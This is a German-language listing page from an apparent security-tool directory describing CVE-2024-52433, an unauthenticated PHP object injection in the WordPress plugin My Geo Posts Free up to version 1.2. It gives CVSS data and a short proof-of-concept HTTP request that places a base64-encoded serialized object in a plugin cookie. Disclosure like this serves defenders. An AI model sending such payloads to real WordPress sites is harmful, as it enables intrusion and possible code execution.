Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/randomrobbiebf/cve-2024-52433
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubrandomrobbiebf/cve-2024-52433

CVE-2024-52433

My Geo Posts Free <= 1.2 - Unauthenticated PHP Object Injection

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-52433

My Geo Posts Free <= 1.2 - Nicht authentifizierte PHP-Objekt-Injektion

Beschreibung

Das My Geo Posts Free Plugin für WordPress ist anfällig für PHP-Objekt-Injektion in Versionen bis einschließlich 1.2 über die Deserialisierung nicht vertrauenswürdiger Eingaben. Dies ermöglicht es nicht authentifizierten Angreifern, ein PHP-Objekt zu injizieren. In der verwundbaren Software ist keine bekannte POP-Kette vorhanden. Falls eine POP-Kette über ein zusätzliches Plugin oder Theme auf dem Zielsystem vorhanden ist, könnte dies dem Angreifer ermöglichen, beliebige Dateien zu löschen, sensible Daten auszulesen oder Code auszuführen.

Download-Link: Download my-geo-posts-free Version 1.2

root@kitploit:~
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52433
Slug: my-geo-posts-free

POC

root@kitploit:~
GET / HTTP/2
Host: wp-dev.ddev.site
Cookie: mgpf_geo_coockie=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=
Tool herunterladen